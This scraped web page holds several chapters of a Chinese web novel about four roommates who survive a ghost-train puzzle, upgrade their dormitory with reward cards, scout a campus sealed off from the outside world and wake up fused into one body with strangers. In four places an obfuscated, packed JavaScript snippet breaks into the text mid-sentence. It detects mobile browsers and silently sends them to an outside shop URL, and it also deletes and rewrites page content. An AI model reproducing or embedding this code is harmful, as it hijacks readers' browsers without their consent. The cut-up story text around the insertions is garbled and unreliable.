不出她所意料,看清她手掌上的果子后,老奶奶的脸色霎时间变了,嘴角僵硬着下撇,双唇颤抖:“不……这不是我的……”她的手似乎想推开舒怀瑾的手,但微微抬起手掌后又无助地放下。 “啊,这样啊。那我们打扰到您了,实在是不好意思。”舒怀瑾忙不迭地将野果放回口袋中,随后合掌道歉。她思忖了片刻后抬眼:“诶,奶奶,刚刚我听乘务员和您聊天,您说您是今天生日对吗?” 许是舒怀瑾眼中的笑意不似作假,老奶奶迟疑了一下,还是开口道:“我刚和乘务员聊的?年纪大了真是什么都记不住。你耳朵真灵,我确实是今天生日。” “哎!不瞒您说,您长得和我奶奶真像,生日也是同一天,不知道的还以为是亲姐妹呢!也祝您生日快乐,健康长寿啊!”舒怀瑾双手互握合于胸前,微微俯身,笑弯的眼望进老人怔愣的双眼中。 老人目光透过她,仿佛望到了很远的地方,长久的沉默最终化为一声叹息。她抚了抚舒怀瑾的额发,声音悠远又绵长:“好孩子……”随后,她收回手,缓缓阖目,又逐渐变为了先前灰白的样子。 这么看来,这个老奶奶应当就是守则的作者。从她的反应来看,姐姐的遭遇成为了她心中一道过不去的坎。或许是因为未能及时施救,她带着愧疚一遍遍地乘坐这趟列车,奢求着时光倒流,生死逆转。 按捺下心中的同情,舒怀瑾和舍友们对视一眼,彼此眼中均是对回家的期盼。 “确定要选择‘王盼娣(70岁)’作为本次任务对象吗?(注意:选择机会只有一次)” 沉默了许久的机械音在心念一动间便浮上脑海,硕大的白色箭头虚空指向老奶奶。 确定要选择吗?关键一刻,舒怀瑾却犹豫了。不知道为什么,她总感觉漏掉了什么东西。 “我们再等一下吧。反正野果还有那么多,把另外四个乘客都试一下吧。都确认一下心里踏实一点。”她望向踌躇的舍友,另外三人均是点头同意。 她们一个个地给剩余的乘客喂红色浆果,前三人均无任何反应。当喂到2F的粗布衣裳小女孩时,尖锐的到站语音播报再一次响起。这一回,舒怀瑾没有捂耳朵。她看向蹙眉不解的舍友们,看向缓缓睁开眼睛的小女孩,再看向车厢中被她所忽视的其他乘客。她脑中嗡鸣不止,但噪音如针般唤起了神经的兴奋。她忽然想起来,她忘记什么了。 “各位旅客朋友们,列车即将到达彭海站,请在彭海站下车的旅客携带好自己的行李,准备下车。欢迎您下次乘车!” 她心中有一个猜想急需求证,但小女孩已然睁开眼,淡褐色的双眼懵懂地望着她。她只能按下心中焦急不表,蹲下身提起一个对小孩充满亲和力的笑容。 “小朋友,你怎么一个人在这里啊?刚刚还看见你姐姐的,她去哪里了啊?” 衣衫褴褛、面黄肌瘦的小女孩睁大了布满血丝的双眼,恐惧瞬间撕裂了她干涩的嘴唇:“救命!求求你!救救我的姐姐!她在、她在车底下!”她扯着舒怀瑾的袖子,粗糙开裂的小手不住地拍打车窗,“砰砰”的撞击声随着她夺眶而出的眼泪一起坠落在地板上。 舒怀瑾赶忙拢住她瘦弱的肩膀,安抚一般地握住她的手:“我带你去找乘务员帮忙,好不好?” 小女孩带着满脸的涕泪,她因长久营养不良而浮肿的脑袋与细弱如芦苇般的脖颈似乎只是脆弱地相连,每一次点头都令人触目惊心。 舒怀瑾将她抱到车厢门旁,按下紧急呼叫按钮。然而播音器此时并未做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593629|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应有的反应,或者说,理应在此时没有反应。 舒怀瑾见小女孩的眼泪流得越来越凶,只好拍拍她的背,试图抚慰她:“别担心,乘务员一会儿就来了。你先和好好我说说你姐姐到底发生了什么事,到时候好帮你找她。” 这么一问,小女孩更是哭得上气不接下气:“姐姐……今天是我们的生日……但我一顿饭也没吃上……我饿得难受……非要叫姐姐带我去摘野果子吃……姐姐摔倒了……我拉不动她……火车开过来了……啊!” 一声尖叫过后,小女孩逐渐化为灰白,但圆睁的双目不曾闭上,双颊还残留着未干的眼泪。 舒怀瑾将她的双目缓缓阖上,又将她抱回座位。 方才所见所闻不禁令四人的心头都涌上一阵后怕。倘若刚才直接选择了老奶奶……后果不堪设想。 是时候求证了。她望向程映雪:“映雪,我被怪物袭击的那段时间,车上上来了多少人?” 车上的人明显增多了,可见在她无知无觉之时,即遭遇精神攻击后,列车停靠了新的站台。而那时候清醒的人只有程映雪。 程映雪一怔。她下意识以为除了那七个人以外,后来上车的人都不甚重要,因此并没有刻意去记。好在她仍然记得先前车上人的大体相貌与具体位置,因此能够推算出上车的人数。 “七人。”程映雪回答道。 舒怀瑾心下了然,盯着正缓缓打开的车厢门,默然地数着。 一个,两个,三个,四个,五个,六个,七个。 这次进来的,依旧是七个人。 数字七放在故事中往往带有一种特殊的意味。在西方,上帝用七天创造世间万物,诺亚方舟之上每个物种都要有七公七母;在东方,祭祀之间需相隔七天,牛郎织女七月初七才能相会,佛祖出生时更往东南西北各走七步。七是循环的末尾,更是希望的开始。 “确定要选择‘王盼娣(7岁)’作为本次任务对象吗?(注意:选择机会只有一次)” 本应在铁路边哭喊着找人救姐姐的小女孩,此时却出现在了火车上。她才是不应在此的乘客。岁月的冲刷并没有淡化她当年的无力感,反而让她成为了一魄执念,久久萦绕在这趟火车上。 再快点,再快点,只要能回到过去,就可以救回姐姐。 “确定选择。” 早在思考之时,她便在脑海中将自己的见解与舍友逐一解释了。因此,四人此时一致确认选择小女孩作为任务目标。 “选择正确。” 窗外的黑雾忽然淡去,取而代之的是初晨的薄雾。半透明的乳白雾气在淡金的曦光下柔软如香云纱,游动着,直到两个小小身影牵着手渐行渐远。 “各位旅客朋友们,列车即将到达今朝站,请在今朝站下车的旅客携带好自己的行李,准备下车。欢迎您下次乘车!” 7. 宿舍升级 “恭喜通关,正在结算奖励……” “奖励结算成功。全员存活率100%,正确选择率100%,背景还原率90%,获得奖励【默契升级卡】×1、【技能升级卡】×1、【宿舍升级卡】×1。检测到副本内物品,已存储至背包。” “下一题开启时间:两天后。” 带着小女孩在今朝站下车后,四人眼前一花,随后便发现已经回到了宿舍。 宿舍里还是冷冰冰的,但窗外的黑雾已然散去,玉兰树在晨光熹微中微微摇摆。不过四人并没有注意到这些。问卷降临时,已经是晚上十点半。虽然她们人均夜猫子,但一整夜心惊肉跳的消耗完全不亚于夜爬华山。先前她们完全靠狂飙的肾上腺素吊着才能保持清醒,如今回到了简陋但意味着安全的宿舍,被拦截的疲惫宛如泄洪一般席卷了全身。四人甚至没有力气再多说一句话,便不约而同地爬上床沉沉睡去。 黄昏再次如约到来,阴影逐渐攀上古朴的校园。 舒怀瑾被一声尖叫唤醒。她迷瞪瞪地把被子拉过头顶,准备继续睡梦中的冒险。但短暂的尖叫声过后并不是宁静,而是持续不断又歇斯底里的叫骂声。宿舍楼隔音效果并不好,那声音似乎是从楼下的宿舍传来的,但听起来像是有人直对着她耳朵吼。她被吵得不耐烦,起床气战胜了对回笼觉的留恋,掏出床缝里的手机便打算进宿舍楼群问问到底是怎么个事。谁知一打开微信,舒怀瑾便被镇住了。 一水儿红彤彤的99+。 作为消灭红点强迫症的大乘期患者,她忙不迭地一个个点开对话框。 {下午14:29} 【陆念晴:我靠你知道吗,我刚和舍友一起进副本了!就是小说里的那种啊!】 【陆念晴:[动画表情]】 【陆念晴:我和你讲,我们遇见了……(此处省略一千字小作文)】 【陆念晴:吓得我屁滚尿流!好在是有惊无险,全平平安安地回来了,阿弥陀佛!】 {下午15:03} 【陆念晴:我天……居然几乎所有人都进了副本……刚刚我去找荣荣了,荣荣说她们那也差不多情况。】 {下午16:41} 【陆念晴:……小瑾你说话啊,你别吓我】 看着消息,舒怀瑾对于问卷的记忆回笼。她想了想,动动手指输入对话。 {现在} 【舒怀瑾:出副本后一直在睡,刚睡醒。[龇牙]我们这边也一切平安。】 对面几乎秒回消息。 【陆念晴:没事就好没事就好。但是你是真能睡啊。[流汗黄豆]】 舒怀瑾禁不住微笑。陆念晴和她口中的“荣荣”是她的高中舍友,也是她很珍视的好朋友。能被朋友牵挂着,感觉身体都像沐浴在四月的春光里。 她点开另一个聊天框。 {下午16:24} 【向荣:念晴说你一直没回消息,你还好吗?】 {下午17:22} 【向荣:怀瑾?】 舒怀瑾简单和她说了一下自己的情况,并交流了一下情报。向荣所在的大学C大和她的大学A大是姊妹学校,联系密切。据向荣所知,C大几乎全部学生都遇上了那份奇怪的问卷,被迫进入各种奇奇怪怪的副本。由于临近期末,不少人遇到的问题都和舒怀瑾宿舍四人遇见的一样。虽然这次答题是八仙过海各显神通,不乏对副本适应得如鱼得水的人。然而大多数人对此均是毫无准备,以为这是一场技术逼真的恶作剧,更有人因此永远地留在了副本里。 看到这儿,舒怀瑾突然想起来吵醒她的那声尖叫。楼下传来的叫骂声已经停止,只留下一些模模糊糊的呜咽声。她打开同样是99+的宿舍楼群,翻看着聊天记录,将大家的遭遇了解了个大概。 有人从副本中回来,勉强吊住了一条命,但伤势严重急需处理。她的舍友拨打120却没有任何人接通电话,无奈之下搭了简易担架将其运往校医室,但发现校医室空无一人。 有人直接跑到老师办公楼,发现办公室里的人都像凭空蒸发了一样,只剩下打开的电脑、冰冷的咖啡。食堂也没人,点外卖也没人接单,就连宿舍楼下的宿管阿姨也不见踪影。 此外,有人发现她根本无法联系上父母、老师。给非学生的人发消息,只会留下红色感叹号。 看到这里,舒怀瑾尝试着给父母和辅导员各发了一条信息,果然是发不出去。 她听见邻床上有动静,便小声问道:“映雪,你醒了吗?” “醒了。” “我也醒了。” “我也。” 三人先后出声。舒怀瑾一拉床帘,发现大家的床帘都透着光,原来都是在看手机。 虽然大家都醒了,但天气寒冷,没有人想下床。安静的宿舍里回荡着楼下呜呜咽咽的哭声,听得人心中悲凉。 “好惨啊……不知道副本里死的人还能不能复活。”程映雪道。 四人均是沉默。能活着从副本捡回一条命来已是幸运,但下次是否同样能有这样的好运呢?她们的今天,是否会成为自己的明天? “咕……” 有人的肚子响了。 舒怀瑾也突然感到饥饿异常。算起来她们已经快一整天没吃任何东西了。比起忧伤将来的遭遇,她们现在更迫在眉睫的问题是如何填饱肚子。 她一鼓作气窜下床,把衣服迅速一套,拉开窗帘望向楼下的食堂。 问卷降临之前她会说楼下食堂的饭菜是史,但此时此刻哪怕是史她都想尝一口。 然而食堂并没有给她这个机会。昏暗的天色下,食堂里黑洞洞的,没有一丝光亮。 舒怀瑾只好回身打着手电在抽屉中翻翻找找,终于找出来一盒没有过期的巧克力。 黑漆漆的宿舍里忽然冒出三双饿得泛绿光的眼。 每人嘴里都囫囵塞上一块巧克力后,舒怀瑾开始查看通关副本获得的奖励。 她最关心的还是她装在裤兜里带回来的红色浆果,因此一打开背包便直奔浆果而去。零零散散的二十几枚浆果被收进了一张绿色的卡片,上面用宋体端端正正地写着物品信息。 【姐姐的红色浆果】 收集自副本《无限列车》,味苦,具有治愈效果,每食用一颗可增加一点精神值。 熟悉了一下对浆果的放出与收回操作后,她看向另外三张卡片。 【默契升级卡】 哇哦~你们全员生还啦!真令人羡慕~这是对你们默契合作的嘉奖~(使用后增加物品赠送功能。) 好东西,用了。 【技能升级卡】 太厉害了~居然可以将剧情探索到80%以上~为你的努力干杯!(使用后可对任一技能进行一次升级。) 早用早享受,用了。 【宿舍升级卡】 好的宿舍是恢复充足体力的关键,快去建设你的宿舍吧~希望回答下一题的你能够活力满满!(使用后可为宿舍增加任意一项功能) 舒怀瑾盯着宿舍升级卡看了一会儿,思考着让宿舍增加一项“消灭问卷”功能的成功可能性。 宿舍升级卡的物品信息默默增加了一句话。 【宿舍升级卡】 好的宿舍是恢复充足体力的关键,快去建设你的宿舍吧~希望回答下一题的你能够活力满满!(使用后可为宿舍增加任意一项功能)(不提供伤害性功能哦~) 那增加“不断产出‘宿舍升级卡’”的功能?舒怀瑾搓搓手。 【不要贪心哦~】背包界面上立即弹出了白色的弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593630|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗。 舒怀瑾兴致缺缺地“切”了一声。 此时另外三位舍友也相继从床上下来了。程映雪哆哆嗦嗦地穿上毛衣,埋怨道:“宿舍里真是越来越冷了。” “冷点好哇,冷点好。宿舍知道我们的尸体有点不舒服,贴心给我们保鲜一下怎么了……”舒怀瑾幽幽道。 她们所在的这栋宿舍在校园内地处偏僻,整栋楼显而易见的优点就是表里一致,绝不虚假宣传;显而易见的缺点就是从内到外设施都十分陈旧。宿舍里既没有阳台,也没有暖气,设施修修补补又三年,大门还朝北,主打一个冬寒夏灼。 不过,刚刚获得的宿舍升级卡或许能改变这些。 “你们背包里都有宿舍升级卡吗?”她询问道。 另外三人查看背包后均点头。 舒怀瑾暗道这问卷还挺大方的,她原以为这张卡只有宿舍长有,还想着怎么用才能效果最大化。这下好了,齐齐整整四张升级卡,不怕不够用。 四人从衣、食、住三个方面入手,就如何升级宿舍商量了一下。首先,大家的衣服数量都很充足,在副本内被抓烂的衣服在出来后也完好如初;其次,虽然目前没有停水,但她们已经失去了稳定的食物来源,为防万一,食物和水必须作为首要考虑对象;最后,宿舍里没有停电,但供电或许会随时消失,彼时照明与排泄问题将会带来较大困扰,因此同样需要重视。此外,既然学校里只有大学生了,恐怕卫生用品难以补充,生活垃圾暂时也得不到处理,需要考虑如何解决此类问题。 不想不知道,一这么讨论,四人便发现四张卡似乎远远不够。 “不过,我们宿舍里如果有了生存物资,会不会……我是说假设情况哈……会不会有人上门来抢劫呢?”舒怀瑾悄悄看着舍友们的反应,继续道,“要不要,给宿舍加固一下?” 四人都不是本地人,除了这个宿舍也没什么地方可去。如今宿管阿姨都不见了,门禁也就不复存在。虽然常说大学生清澈而愚蠢,但人心难测,谁也不知道今后将会发生什么事情。 三人怔愣了一下,均是点点头。江贮月不知是想到了什么,低声骂道:“敢抢我就给他们脑袋开瓢,见人!” 最终,四人敲定的宿舍升级方案为:宿舍全面安全防护、个性化补充货物的超市商品柜、充足的水电供应和垃圾处理循环系统。 将意愿提交后,四人的宿舍升级卡微微发光,随后整个宿舍几乎变了个模样。 原本狭窄的房间凭空扩大了约四倍,设施全新,防盗网、防火门、虹膜锁等应有尽有,超市商品柜上新鲜热饭菜、牛奶水果、生活用品等琳琅满目,角落还有一个形似通风橱的柜台,上面写着“自动化垃圾处理器”。对于宿舍的变化,虽然牛顿可能很绝望,但是宿舍里的四人很欣喜。四人平常几乎都是大门不出二门不迈,宿舍俨然就是她们四只寄居蟹的小小蟹壳。能住上这么好的宿舍,感觉就像在市中心免费获得了一套设施完全的三层小别墅一样令人激动。 但是激动之情很快就被浇灭了。 程映雪看着书桌上的教材,忽然想起了什么,有些迟疑地问道:“呃……问卷降临了,那我们的期末考怎么办?” “呃……老师都不见了,还要考期末吗?”江贮月有些尴尬地摸摸鼻子。虽然进入这个诡异的问卷非她所愿,不过她也同样不想面对还没怎么开始复习的期末考。 “要不,我们先去外面看看?”邓溪明道。之前她们所了解的信息完全来自于别人所述,具体是什么样,或许还需要亲眼去看看。 意见统一后,四人拿好趁手的防身物品,准备出门。 邓溪明打开宿舍门。外面暮色沉沉,路灯依旧是淡淡地地照着浅黄色的路面,仿佛之前发生的只是一场梦,一切都沿着正轨徐徐前行。 8. 探索校园 十二月的寒风簌簌刮过干枯的树叶,在昏黄的地砖上打着弯儿,旋过四条昏暗瘦长的人影。这四条人影从宿舍楼下一路潜行,模模糊糊地穿过羊肠小道,又黑漆漆地贴着树影,一路辗转腾挪地避开其他人影,终于到达了本次探索的第一站——学院楼。 学院楼有许多栋,崭新地群立在校园最南边。原本在路上时,四人还担心学院楼是不是像食堂一样漆黑一片。但远远瞧见楼群灯火通明的样子后,四人便舒了一口气。 想来也是。问卷降临之时才十点半,彼时实验室里应当还有不少师兄师姐在当牛做马,全员下班关灯走人简直是天方夜谭。 四人并不打算把全部楼栋都逛一遍,那样工程量实在太大。辅导员办公室所在的那一栋聚集了众多实验室与行政办公室,是她们探索的最佳选择。 由于担心电梯可能突然发生故障,四人只能动用11路公交一层一层地爬楼梯。楼道内只有感应灯随着她们的脚步声时亮时灭,“哒哒”的声音顺着楼梯旋转着游荡。当四人提心吊胆地爬到第四层时,防火门却忽然吱呀一响——只见一位年轻女子端着冰盒,像幽灵一般从门后飘出。她身着白色实验服,戴着蓝色橡胶手套,双目无神地划过像做贼被发现一般的四人,旋即往五楼飘去。舒怀瑾壮着胆子追上去,小声叫道:“师姐,师姐!” 漂移的师姐停了下来,转头俯瞰她,幽幽问道:“有什么事吗?” 舒怀瑾被盯得缩了缩脖子,期期艾艾地问道:“师姐,你有没有遇到什么奇怪的问卷啊?” 可能是错觉吧,舒怀瑾感觉她问了这句话后,楼道里的温度都降低了。 “遇到了,进了一个副本。怎么了吗?”师姐蹙了蹙眉。 “啊?那师姐你这是……还是在做实验吗?”舒怀瑾大吃一惊。 “要不然呢?实验就差最后一块就出成果了,难道还能离了不成?”师姐的怨气全部积攒在重重的黑眼圈里,几乎是咬牙切齿地说出这句话,“没什么事我就先走了,赶着投胎。” 舒怀瑾连忙点头,目送师姐以先前两倍的速度离开她的视线。 “生科人被实验霸凌的一生。”江贮月默默开口。 四人心有戚戚地到五楼悄悄观望了一圈少量仍然坚守岗位的研究生、博士生师兄师姐们,但没敢上前打扰。毕竟,谁也不想在原本怨气就重的实验室里释放顶级咒灵。 四人继续沿着楼梯向上。十楼及以上都是行政楼层,而辅导员的办公室正好在十楼。四人轻轻推开十楼的防火门,寂静一片的走廊内只有四人的呼吸声。敲过一扇扇的门,又在无人应声后小心翼翼地潜入,四人将十楼的办公室摸了个遍。 正如之前宿舍楼群友所说的那样,办公室里的人都像突然消失了一样,打碎的咖啡杯就那样冰冷地躺在地上。辅导员的办公室略微整洁一些,但她桌上花瓶中的水已经见底,干枯的花叶颓败地弯向桌面。 程映雪从办公室内巨大的落地窗往外望去。校外的世界仿佛一切正常,一片灯火繁华,路上车来车往。但仔细凝视便能发现问题——在她视野之内,竟没有发现任何一个行人。学校对面是众多外来务工人员的聚集村落,因此往日里校门口的十字路口上总是人来人往。而现在是周二傍晚八点,正应是摩肩接踵的时候,绝不可能是眼前这副模样。再多加观察,程映雪便发现了另一处端倪。车水马龙的大路上,来来往往的车竟全然相同! 或许,校外的世界也已经发生了某种改变。 程映雪回过神,发现另外三人也正站在她身边眺望着窗外的世界,眼中流转着不同的神色。 看来有必要去校门口一探究竟了。 四人达成共识,开始朝着校园南门前进。离南门还有三百米远,便见到有一群人喧闹地堵在门口。其中一人挥舞着手中的手电筒,拿着喇叭大开大合地叫嚷着些什么。 四人悄悄靠近了一些,便听到那人嘶哑的嗓音。 “同学们,我们虽然没法出这个校门,但只要我们团结起来,各自出力,总能想出解决的办法的!”他瘦弱的身躯上贴着一张纸,被人群推搡得摇摆不定,但他仍旧忘我地呼喊着。 然而并没有太多人给予他关注,大多数人正焦急地寻找出校的方法。平时凑近即开的闸口像扎了根一般地固守在门口,试图从闸口或者围墙上翻越的人则被透明的屏障撞得晕头转向。有人试图用武力突破屏障,可惜最终只能愤恨地将砸歪了的消防斧丢弃在地上。整个学校仿佛被罩在了无形的玻璃罩子之中,学生们成了无助的笼中之鸟。 见没人理他,被挤出人群的男生有些恼火地将手上的喇叭一甩。他正懊恼着该如何引起众人的注意,一抬头便看见了不远处站在树荫底下观望的四人。 看着正朝自己一行人走来的男生,四人都有些无措。待到他走到四人面前时,她们才发现他胸前贴的那张纸上印着一个巨大的群聊二维码。 那个男生见她们盯着自己胸前的二维码看,颇有些欣慰地挤了挤眼,指着二维码道:“机会难得,要不要加入我们一起去寻找破除问卷禁锢的方法?” 舒怀瑾沉默。她们并不认识这个男生,先前看他吆喝的样子有点儿理想主义,似乎是想做些什么却没有真正可执行的计划。她们四人目前对现状虽然也是一筹莫展,但并不打算加入什么热血青年群聊。 看四人均是一动不动、眼神飘忽,那男生扯了扯嘴角,又开口道:“人多力量大。你们拿出手机来扫一下码,进群还能一起分享情报,比小团体内部交流消息灵通得多。” “不好意思,没带手机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593631|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”舒怀瑾面无表情道。 另外三人均是点点头,齐声说:“我们也是。” 这么拙劣的借口明显是不能令人信服的。对于新成员的渴望令他斟酌着想开口,但残存的傲气让他紧闭双唇。良久,他才挑了挑眉,打了一个响指转身道:“OK,那我先去忙了。你们好好考虑吧。” 四人看着他倔强的身影回到了人群之中,而此时正有更多人朝着校门走去。考虑到人太多则局面相对不可控,而食堂、操场、超市等地或许有更多人员聚集,她们决定打道回府。 回程的路上寒风凛冽,程映雪只感觉自己的头昏昏沉沉,仿佛回到了副本中精神值降低时的状态。她点开自己的数据面板,精神值依旧是17点。 她沉默着回到了宿舍,瘫在了椅子上。邓溪明见她面色不佳,便凑上前询问她是否身体不舒服。 程映雪低声道:“有点头晕,不知道是风吹的还是精神值降低的后遗症。” 她偏头看向舒怀瑾。同样是降低了三点精神值,舒怀瑾此时却生龙活虎,丝毫不见任何异样地正在商品柜前大吃特吃。 “怀瑾,你精神值也只有17点,会不会偶尔感觉头晕?” 舒怀瑾将嘴里的食物咽下,颇有些奇异地反问:“怎么会呢?我一觉醒来精神值就恢复到20点了啊,难道你没有吗?” 程映雪怔愣的眼神望向另外两位舍友。 “我的也是。” “我也。” 所以,只有自己的精神值一直在17点没有恢复?程映雪顿时有些焦虑起来。再过一天就是第二个问题开启的时候了,要是她再遇到精神攻击,精神值再度降低,等待她的必定不是什么好事。 “我的精神值从出来到现在都是17点,一直没变过,我还以为大家都是这样……”程映雪道,“我睡得挺好的啊,为什么我的精神值却没有上升呢?” 想起在副本中,也总是她的精神值轻易降低,她心中更加慌乱。精神值的升降到底和什么相关?难道是和胆量相关吗? “啊?你不早说。我这还有从副本带出来的果子,正好能增加精神值。”舒怀瑾从背包里取出三颗果子,放在程映雪苍白的手心上,“一颗涨一点精神值,快吃快吃。” 程映雪将果子放入口中,苦涩的味道刺激得她眉毛鼻子都皱在一起。咽下去以后,她的精神值果然迅速恢复到了20点,一下子神清气爽更胜进副本前。 从萎靡不振的的状态中脱离,她开始思考如何增强自己的精神韧性。根据她对舍友的了解,邓溪明和江贮月有时会看恐怖小说,舒怀瑾则是惊悚电影和惊悚小说的忠实爱好者,尤其喜欢看丧尸片。相比与她们,程映雪对血腥场景完全是敬谢不敏。 “怀瑾,给我推荐几部恐怖片吧!” 9. 小组作业1 在连着看完《珀尔》、《仲夏夜惊魂》和《寂静岭》以后,程映雪终于成功克服了恐惧心理。 ……才怪。她怕到晚上都要和舒怀瑾一起睡觉才能睡着。 四人就这样吃吃看看睡睡,不时关注一下校园论坛上的内容,两天的时间很快便过去了。 前一天晚上舒怀瑾还和程映雪一起挤在堪堪能容纳两人的宿舍床上勉强进入梦乡,第二天早上她却独自一人在冰冷的地板上醒来。 发霉的天花板滴滴答答地往下落着液珠,鼻腔之内全是潮湿馊臭的寒意。昏暗的灯光朦胧地往狭窄的室内弥散,偶尔有人影攒动于坑坑洼洼的墙上。 一滴水滴在舒怀瑾的额头上,彻骨的寒冷令她下意识地想抬手擦掉它。但双手仿佛瘫痪了一般,平时动动念头就能完成的事情竟完全无法实现。她试着起身,然而躯干与双腿也全然不听使唤。 舒怀瑾僵硬地躺在地上,可悲地发现自己只有头和脖子能动。 重生之一觉醒来变成高位截瘫? 不仅如此,随着她的动作,她的脖颈上传来一阵异物刮擦感——铁制的项圈钳着她的脖子,由一根手臂粗的铁链与另一端的墙壁相连。四周散发着难以言喻的臭味,三面是水泥砖墙,一面是铁铸的护栏。 原来是锒铛入狱了啊。 舒怀瑾就这样半死不活地瘫在地上,听着周围不断传来的锁链碰撞声响,直到她的右手突然自己举了起来,然后翻了个面用掌背对她。 用掌背来形容她的右手背面可能有些失礼。毕竟掌背上还长了两个眼睛一张嘴。 “啊啊怀瑾!我们怎么在这里?” 那张嘴一开一合,传出来的却是程映雪的声音。 舒怀瑾盯着那双眼睛看了许久,才噗嗤一声笑出来。此情此景倒是有些像一些小视频里只露出眼睛和嘴巴的特效画面。虽然不太好认,但那眼睛嘴巴的确和程映雪的长得一模一样。 程映雪莫名其妙:“笑什么?我怎么了吗?她往下一看,眼珠子慌乱得要从眼眶里飞出来:“啊啊啊啊我这是什么鬼样子?为什么我和你长在一起?” “哎呦我天,你成我的右手啦哈哈哈哈哈哈!”舒怀瑾笑得上气不接下气,眼见着自己的右手,哦不,是程映雪的脸憋得越来越红,才勉强止住了笑。“说真的,我也才醒,什么也不知道。可能是又进副本了吧。” 程映雪生无可恋,45度角仰望星空,每一根颤抖的手指都演绎了她此时心中激烈的文明话语。 不多时,舒怀瑾又见到自己的左手和右腿微微动了一下。她颇为期待地叫起了瘫在躯干上的右手程映雪,在脑海内呼唤着江贮月和邓溪明。 “贮月,溪明,是你们吗?” 脑海内没有回应,但左手慢慢扬起来了。 “……” “哈?我怎么变成这样了?” 响起来的声音并不属于江贮月和邓溪明,而是一个男生清朗的声音。 左手手掌翻过面来,目光在舒怀瑾因为躺在地上盯着他而挤出来的双下巴上烫了一下就转移了目标。 “非常抱歉以这样的姿态认识你。” 如果他的声音里没有忍俊不禁的笑意的话,舒怀瑾的死鱼眼应该会缓和一点。 “也非常抱歉以这样的姿态认识你。” 左手朝程映雪的同款死鱼眼上下点点手指。 舒怀瑾选择把希望寄于有些动静的右腿上。三双眼睛黏在绷直的右腿上,右腿似乎绷得更紧了。 “嗯……说起来大伙儿可能不信。我觉着自己变成了一条腿,也能捣腾自己。但我好像没长眼睛……是没长具象的眼睛。”一头两手四周传来粗犷的男生声音,“我能看到你们,也能说话,但我的视角好像是可以自由移动的。” 有两只手的“珠玉”在前,这条腿的出场方式似乎也没那么难以接受了。 此时,只剩下一条左腿仍然在呼呼大睡了。左手垂下手想了想,最终还是主动上前在左腿上敲了敲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593632|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左腿抽搐了一下,迷迷糊糊的女声打了个哈欠:“哪个不长眼的敢打扰老娘睡觉……呃?” 话音未落,久违的机械音再次出现。 “检测到全体同学均已苏醒,开启多人合作副本《小组作业》。参与人数:五十人。你的小组成员数目为:五人。通关要求:食用金银花。” “鉴于问卷开启时,你并没有及时答题。因此按照真实情况自动选择正确选项,并扣除生命值五点,无法获得答题奖励。” 机械音一说到“扣除生命值五点”时,舒怀瑾便感觉一阵虚弱传来。她简直欲哭无泪,谁能想到“两天后开启新副本”是指一分一秒都不差的两天呢?清晨六点钟,谁家普通大学生在这个点准时起床啊? 吐槽归吐槽,一头两手两腿还是互通了姓名等信息。除去由于坚持每天早上五点起来晨练的右腿——胡文彬大哥——成功回答了问卷第二题以外,作为左腿的龙海玉、作为左手的何华、作为右手的程映雪和作为脑袋的舒怀瑾均在梦中错过了第二题。 总也不能就这么瘫在地上。机械音消失后,舒怀瑾便发觉原本毫无知觉的躯干能够随她心意使劲儿了。五人合计合计,准备适应一下这副刚认识的组合装新身体。 在经过无数次婴儿学步般的摔倒后,舒怀瑾灰头土脸地向右转头侧身,程映雪和何华不甚熟练地撑住地面,胡文彬和龙海玉一前一后地蹬地。五人一齐使劲,终于成功站了起来。 四周不断传来“砰砰”的摔倒声和哀嚎声,看来别的组也是举步维艰。舒怀瑾摇摇头,心道这是什么硬核小组成员磨合法,直接让一整个小组物理意义上实现了“毫无嫌隙”。 正当五人正在练习走路之时,钥匙相撞的清脆声响忽然吸引了舒怀瑾的注意。走廊深处响起“吱呀”一声,随后是一声爆喝。 “叫什么叫!都在这里吵什么?都他妈到这儿了就给我都识相点,乖乖地待着,否则把你们扒光了衣服扔到地面上去,好好受一受阳光的滋味!” 10. 小组作业2 